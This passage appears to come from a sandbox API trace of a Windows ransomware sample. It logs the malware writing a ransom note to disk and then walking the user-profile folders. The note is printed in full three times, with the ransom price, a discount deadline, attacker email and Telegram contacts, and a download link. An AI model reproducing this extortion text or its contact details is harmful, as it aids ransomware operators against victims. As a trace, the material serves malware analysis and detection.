Size=0x87e) returned 0x3093488 [0119.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093488, cbMultiByte=2174, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 1151 [0119.748] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x880) returned 0x309d488 [0119.748] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned 1150 [0119.748] WriteFile (in: hFile=0x614, lpBuffer=0x309d488*, nNumberOfBytesToWrite=0x47e, lpNumberOfBytesWritten=0x388fb64, lpOverlapped=0x0 | out: lpBuffer=0x309d488*, lpNumberOfBytesWritten=0x388fb64*=0x47e, lpOverlapped=0x0) returned 1 [0119.749] CloseHandle (hObject=0x614) returned 1 [0119.749] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x309d488 | out: hHeap=0x5e0000) returned 1 [0119.749] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.749] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095780 | out: hHeap=0x5e0000) returned 1 [0119.749] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.749] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef8d8 [0119.749] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xffe8a940, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xffe8a940, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.749] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef8d8 | out: hHeap=0x5e0000) returned 1 [0119.749] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xffe8a940, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xffe8a940, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.750] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde3d0 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde378 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x1c) returned 0x30229c0 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde320 [0119.750] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde378 | out: hHeap=0x5e0000) returned 1 [0119.750] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde3d0 | out: hHeap=0x5e0000) returned 1 [0119.750] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x38) returned 0x3008fa0 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde3d0 [0119.750] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde320 | out: hHeap=0x5e0000) returned 1 [0119.750] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0119.750] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0119.750] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0119.750] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde320 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde378 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x54) returned 0x3001720 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0119.750] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde3d0 | out: hHeap=0x5e0000) returned 1 [0119.750] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0119.750] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3008fa0 | out: hHeap=0x5e0000) returned 1 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde3d0 [0119.750] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde378 | out: hHeap=0x5e0000) returned 1 [0119.750] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde320 | out: hHeap=0x5e0000) returned 1 [0119.750] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde320 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde378 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30181a0 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde4d8 [0119.750] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0119.751] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde530 [0119.751] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.751] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0119.751] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde3d0 | out: hHeap=0x5e0000) returned 1 [0119.751] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3001720 | out: hHeap=0x5e0000) returned 1 [0119.751] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde3d0 [0119.751] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde378 | out: hHeap=0x5e0000) returned 1 [0119.751] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde320 | out: hHeap=0x5e0000) returned 1 [0119.751] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc44b08b0, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xc44b08b0, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0119.751] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde320 [0119.751] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde378 [0119.751] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa8) returned 0x2f7e028 [0119.751] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.751] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0119.751] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde588 [0119.751] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde5e0 [0119.751] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde4d8 | out: hHeap=0x5e0000) returned 1 [0119.751] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0119.751] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde530 | out: hHeap=0x5e0000) returned 1 [0119.751] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde3d0 | out: hHeap=0x5e0000) returned 1 [0119.751] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30181a0 | out: hHeap=0x5e0000) returned 1 [0119.751] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde3d0 [0119.751] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde378 | out: hHeap=0x5e0000) returned 1 [0119.751] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde320 | out: hHeap=0x5e0000) returned 1 [0119.751] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbd64cc70, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbd64cc70, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0119.751] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde320 [0119.751] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0119.751] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde320 | out: hHeap=0x5e0000) returned 1 [0119.751] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0119.751] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0119.751] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0119.751] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0119.751] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0119.752] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde320 [0119.752] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0119.752] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde320 | out: hHeap=0x5e0000) returned 1 [0119.752] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0119.752] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xfc) returned 0x69c2b8 [0119.752] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde320 [0119.752] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0119.752] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde378 [0119.752] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde530 [0119.752] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde4d8 [0119.752] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0119.752] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.752] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0119.752] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde588 | out: hHeap=0x5e0000) returned 1 [0119.752] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde5e0 | out: hHeap=0x5e0000) returned 1 [0119.752] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde3d0 | out: hHeap=0x5e0000) returned 1 [0119.752] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0119.752] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0119.752] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0119.752] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0119.752] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0119.752] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0119.752] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde3d0 [0119.752] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0119.752] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde3d0 | out: hHeap=0x5e0000) returned 1 [0119.752] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0119.752] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0119.752] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0119.752] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0119.752] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0119.752] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde3d0 [0119.752] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde5e0 [0119.752] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde588 [0119.752] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde5e0 | out: hHeap=0x5e0000) returned 1 [0119.753] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde3d0 | out: hHeap=0x5e0000) returned 1 [0119.753] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0119.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0119.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0119.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x16c) returned 0x2f84e20 [0119.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde3d0 [0119.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x3095798 [0119.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde5e0 [0119.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde638 [0119.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x3095800 [0119.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x3095868 [0119.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x30958d0 [0119.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde690 [0119.753] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde320 | out: hHeap=0x5e0000) returned 1 [0119.753] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0119.753] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde378 | out: hHeap=0x5e0000) returned 1 [0119.753] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde530 | out: hHeap=0x5e0000) returned 1 [0119.753] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde4d8 | out: hHeap=0x5e0000) returned 1 [0119.753] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0119.753] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0119.753] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0119.753] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde588 | out: hHeap=0x5e0000) returned 1 [0119.753] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0119.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0119.753] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0119.753] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0119.753] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbd9467f0, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbd9467f0, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0119.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde588 [0119.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde4d8 [0119.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde530 [0119.753] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde4d8 | out: hHeap=0x5e0000) returned 1 [0119.753] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde588 | out: hHeap=0x5e0000) returned 1 [0119.753] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0119.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0119.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0119.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0119.754] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0119.754] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0119.754] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2416, 